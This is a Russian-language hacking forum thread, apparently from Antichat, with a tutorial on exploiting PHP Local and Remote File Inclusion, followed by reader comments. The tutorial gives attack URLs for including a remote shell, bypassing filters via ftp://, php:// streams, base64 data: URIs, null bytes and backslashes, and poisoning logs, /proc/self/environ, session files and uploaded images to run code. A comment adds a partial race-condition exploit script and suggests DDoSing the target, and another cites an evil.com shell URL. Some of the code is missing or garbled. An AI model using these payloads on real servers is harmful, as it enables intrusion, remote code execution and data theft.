В этом теме я надеюсь собрать максимально возможную информацию о ( Local | Remote ) File Inclusion, и описать принцип работы более доступно для широких масс.

Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку.

Начнем с того, что File Inclusion делится на две основные ветви.

1. Remote File Inclusion.
   
2. Local File Inclusion.

Основосоставляющая у них одна, это недостаточная фильтрация переменной (читать как беспантовая фильтрация, на смом деле, очень плахая фильтрация), которая используется в функциях отвечающих за подключения файлов (например функцииinclude(), require()), разница лишь в том, что в случае Remote File Inclusion эта переменная одна или стоит на первом месте (с лева на право) в вызове функции и в настройках PHP включены allow_url_fopen и allow_url_include, а Local File Inclusion это вообще присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.

Получается, представим например такой код:

Казалось бы этому горе кодеру, что юзер будет ходить только по заведомо указанным файлам, но оказалось, что ты не из числа тех юзеров, и твой пытливый ум предположил, что если вместо этих заведомо известных, подставить что-то свое, то...

Впрочем зачем говорить, ты берешь и делаешь: httр://localhost/?переменная=Какая_гадость,_э та_ваша_заливная_рыба!

И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее:

Если вывод ошибок все таки отключен, то это печально и ты ничего не увидишь (или же в зависимости от ситуации в боевых условиях, какой-нибудь редирект или алерт). Воот.

Теперь ты имеешь полноценный Remote File Inclusion, если настройки PHP удовлетворительно положительны (смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.:

httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл

Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом (в данном случае GET), в код, код принимает такой вид:

со всеми вытекающими последствиями.

Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с Local File Inclusion, впрочем обо всем подробнее ниже.

Remote File Inclusion​

Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:

Ты заходишь на сайт, а там такой код:

Эксплуатация проста до невозможности: httр://localhost/?page=http://yourhost/shell.txt

Хотя это уже было... и ты сообщил всё горе-кодеру.

Не долго подумав, он решил, что если в скрипте используется подключение файла с явным (так сказать навязанным) расширением , то его никто не взламает!

Не тут-то было, обход довольно элегантен, ты просто обрезаешь всё знаком вопроса ( ? ) заставив интерпретатор думать, что всё что идет после знака вопроса это переменные: httр://localhost/?page=http://yourhost/shell.txt? и опять сообщаешь кодеру.

Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей:

Но не унывая и напрягаясь, ты вспоминаешь, что если фильтруются только два протокола HTTP и HTTPS, то можно использовать третий: FTP, с которым PHP так же работает: httр://localhost/?page=ftp://user:рass@yourhost/shell.txt и с ухмылкой на лице, отправляешь очередной баг кодеру.

Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы:

Ну что ж, тут тебе на помощь придут потоки.

А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь

и о чудо, в ответ ты видишь результат выполнения функции phpinfo() из которой ты берешь например пути до скрипта который собственно и вызвал эту функцию. Дальше формируешь и отправляешь еще один пакет, но уже с функцией "ЗАЛИТЬ ШЕЛЛ НЕМЕДЛЕННО!!1", а именно , и если хватает прав на запись, то всё шелл тут httр://localhost/придумай_имя_файла.php, если не хватает, то что уж, нет так нет (читать как EPIC FAIL), ведь всегда можно залиться во временную папку /tmp и подключить шелл оттуда.

После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему: data (перевод)

Выглядит это примерно так:

А на деле можно использовать так: http://localhost/?page=data:,

Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки (если такие будут) еще и в URL закодировать: httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов).

Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности Remote File Inclusion. Что теперь делать?

Local File Inclusion​

Local File Inclusion - это подключение произвольного файла расположенного на локальном (читать как атакуемом) сервере в работу уязвимого.

Проснувшись утром, и зайдя снова на этот сайт, ты видишь(ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта:

Понеслась конитель. Теперь тебе нужно сориентироваться на сервере, ты естественно знаешь, что сочетание двух точек ( .. ), обозначает подняться вверх на один каталог, а слэш ( / ), собственно сам каталог, т.е. если в командной строке выполнить команду cd .. ты поднимешься на один каталог вверх, если cd ../.. ты поднимешься на два каталога вверх, и т.д. Так как, теперь в коде, функция подключения файла сначала полностью открывает путь /home/www/, а затем указанный файл, то что бы открыть файл находящийся в другой директории, тебе нужно, выйти из текущего каталога: httр://localhost/?page=../../../полный/путь/до/нужного/файла.

Здесь тебе пригодиться любой файл, который тебе пригодится (тавтология же), а именно:[LIST][*]не нарушающий синтаксис PHP кода. (содержащий в себе подобие , кодируешь всё в url, составляешь и отправляешь пакет:

А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку (о несуществующей страницы epicfaaaaaail.php), и записал это в error_log, выглядеть на сервере это стало так:

т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё до как обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log: httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo().

Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы (error_log) и запись вообще всех действий пользователей (access_log), кстати в связи с тем что access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда, записываем то, что нужно, так как получится, подключаем и заливаемся.

НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге /proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь цитату из статьи M4Gа :

Ты же понимаешь, что /proc/self/status, часто бесполезен, из-за того что процессы бывают динамические и меняют свой PID, каждый раз при запуске процесса, по этому ты отбрасываешь первую часть, и пытаешься получить доступ к логам на прямую /proc/self/fd/{N} - где {N} это имя ярлыка, и ты понимаешь, что обычно не значит везде, и перебираешь от 1 до 15. Настройки такие настройки, индивидуальные.

Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык cmdline, который отвечает за информацию о запуске процесса: httр://localhost/?page=../../../proc/self/cmdline

И видишь, что конфиг веб-сервера, находится тут: /etc/httpd/conf/httpd.conf, который щедро одарит тебя путями до логов.

Файлы содержащие переменные окружения.

Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это environ, который так же находится в каталоге с процессами /proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь: httр://localhost/?page=../../../proc/self/environ и видишь:

Из этих данных ты можешь управлять всем тем, что твой браузер отправляет на сервер, а значит, ты можешь записать и выполнить свой код. Что же тянуть, ты составляешь запрос и отправляешь его:

И опять успешно, ведь сервер схавал и переварил всё, что он получил, получается, что сначала создался процесс, и вся информации о среде процесса записалась в файл environ, после чего уязвимый скрипт подключил этот файл, очевидно же.

Файлы сессии.

ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог /proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат (форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код:

После ввода имени, PHP запишет введенные данные в файл сессии во временном хранилище (место положении которого можно узнать из phpinfo() директива session.save_path, по дефолту каталог /tmp)

и в ответ браузеру отправляет айди сессии в куках (Cookie: PHPSESSID=АЙДИ), за счет чего и проиходит работы.

Ты конечно же вместо именни ввел , это значит что создался файл сессии с таким содержанием:

Тебе ничего не осталось, как взять айди этой сессии, и подключить её: httр://localhost/?page=../../../tmp/sess_тут_айди_сессии&cmd=phpinfo();

После проделаной махинации, ты приклеел на холодильник заметку "%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!".

Загружаемые пользователем файлы.

Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл , загрузил на сервер, и подключил её: httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo();

Другие файлы.

Здесь ты не стал заморачиваться, просто вспомнил статью slasha и сделал всё так, как он там рассказал.

Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи (который и был тем самым горе кодером).

Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение:

То это легко обойдется Null-байтом, который обрежет всё, что после него идет: httр://localhost/?page=../../../etc/passwd%00 и включил magic_quotes_gpc.

Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи тут про саму альтернативу и вот тут, как льтернативу альтернативе Null-байту

Дальше, Васёк, было дело решил вырезать из полученных данных все слэши ( / ):

Но узнал, что обратный слэш ( \ ), ничуть не хуже замена обычному: httр://localhost/?page=..\..\..\etc\passwd, плюс ко всему увидел много других способов.

В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода.

Источники из которых была взята информация, или очень полезные:

1. /thread89082.html

2. http://raz0r.name/articles/null-byte-alternative/

3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

4. http://wiki.apache.org/httpd/DistrosDefaultLayout

5. https://rdot.org/forum/showpost.php?p=6942&postcount=29

6. /thread71902.html

7. http://www.xakep.ru/post/49508/

Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения.

начитался это статьи /thread231827.html ?

что мало этого?

поржать просто, все просто скопипастел в один угол.. "Вся правда о Хакере" прям.. мда, жду от тебя "Вся правда о SQL Injection".. МОА тебя ждет)

з.ы Страшный баянчик..

а мне понравилось, спасибо автору. удобно

шел бы ты русский язык учить, статьи он "пишет"

За старания 5, за албанский 2, за информационность 4-, в итоге на троечку.

а мну нра )

+5 автору , не то что у киберпанка )

Вполне хорошая статья.. 4

Нормальная статья

Месяц статей о php-инклюдинге на Античате.

Хорошая статья!

спасибо!освежил память и узнал новое

Полезная статья. Компактно и по теме

Статья написана в хорошем тоне, автору +++

Кстати, хотелось бы обратить внимание на заметки Електа и Шанкара в теме: /thread51096.html

Вполне работоспособный метод несмотря на дату опубликования. Правда вся сложность заключается именно в том, что после инклуда должен идти код, на интерпретацию которого уходит некоторое время, которое даст шанс подключить залитый нами шелл. Вот сплоит:

1 fail

2 fail

3 fail

4 fail

5 fail

6 fail

7 fail

8 fail

9 fail

10 fail

11 fail

12 fail

13 fail

14 fail

15 fail

16 fail

17 fail

18 fail

19 fail

20 fail

Для успешной реализации требуется:

1. После инклюда, какие-то действия, которые задерживает время выполнения уязвимого скрипта (которого вполне хватит сграбить имя временного файла и проинклюдить его)

2. Достаточно широкий канал, что бы с наибольшей быстротой успеть сграбить и подключить файл.

20 итераций в скрипте, реализованы для большего профита, т.е. возможно что в первый/десятый раз не удастся сграбить имя, но на 15 может и получится.

Так же вполне реально можно поддидосить сервак, что бы он помимо интерпретации уязвимого скрипта, "задумался" над чем нибудь другим, и тогда время выполнения уязвимого скрипта увеличится, а вместе с ним и шансы выполнения уязвимости.

В Windows есть один замечательный финт (пруф: http://habrahabr.ru/company/xakep/blog/112691/), который позволяет проинклюдить файл по маске его имени, к примеру это одно и тоже:

[CODE]
file.php
file."); fclose($file); print \'ooook\';?>'[/COLOR]."\r\n";

$head_file.=$boundary."--\r\n";



# создаем запрос для отпр� �вки

$headers="POST ".$url['path']." HTTP/1.1\r\n";

$headers.="Host: ".$url['host']."\r\n";

$headers.="Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n";

$headers.="Content-Length: ".strlen($head_file)."\r\n\r\n";



return$headers.$head_file;

}

functionsend($host,$temp)

{

$url=parse_url($host);

# открываем поток

if($socket=fsockopen($url['host'],80,$errno,$errstr,30) )

{

$data=data($host,$temp);

# отправляем запрос серве� �у

fwrite($socket,$data);

returntrue;

}

else

{

returnfalse;

}

}

for($i=1;$i[/COLOR]
[/PHP]
Лог работы примерно такой:

Работоспособность сплоита, напрямую зависит от нагруженности атакуемого сервера и шириной вашего канала, чем больше нагружен атакуемый сервер и чем шере канал, тем больше вероятность того что сплоит сработает.

Путь до временный каталог можно узнать в phpinfo если он не стандартный, по стандарту /windows/temp/

инклуд это или нет?

Если $DOCUMENT_ROOT перезаписать удастся, то да.

Очень полезнаю статья для меня!Автор молодец, что собрал столько инфы в одну статью!

Доступно и хорошо

извиняюсь если кто уже спрашивал

есть допустим rfi у меня, но в переменную куда я вбиваю адрес шелла добавляется в начало к примеру modules и поучается скрипт обрашается не к http://evil.com/shell.txt а непосредственно к modules/http://evil.com/shell.txt и весь rfi идет коту под хвост

как бороться с этим?

здесь получится только LFI. для вопросов по уязвимостям есть отдельная тема

Господа, а с этим что делать предложите?

total 68

-rw-r----- 1 root adm 25391 июля 21 13:42 access.log

-rw-r----- 1 root adm 32189 июля 21 13:42 error.log

-rw-r----- 1 root adm 0 июля 20 20:40 other_vhosts_access.log

lao@lao-S:/var/log/apache2$

lao@lao-S:/proc/self$ ls -l | grep environ

-r-------- 1 lao lao 0 июля 21 13:42 environ

lao@lao-S:/var/www$ ls -l

total 4

drwxr-xr-x 2 root root 4096 июля 20 21:02 html

​И это не какие-то хитрые настройки крутого админа, это по дефолту. если дать всем права хотя бы на чтение логов, то всё относительно не плохо. А так большая саSAMBA получается. Есть идеи?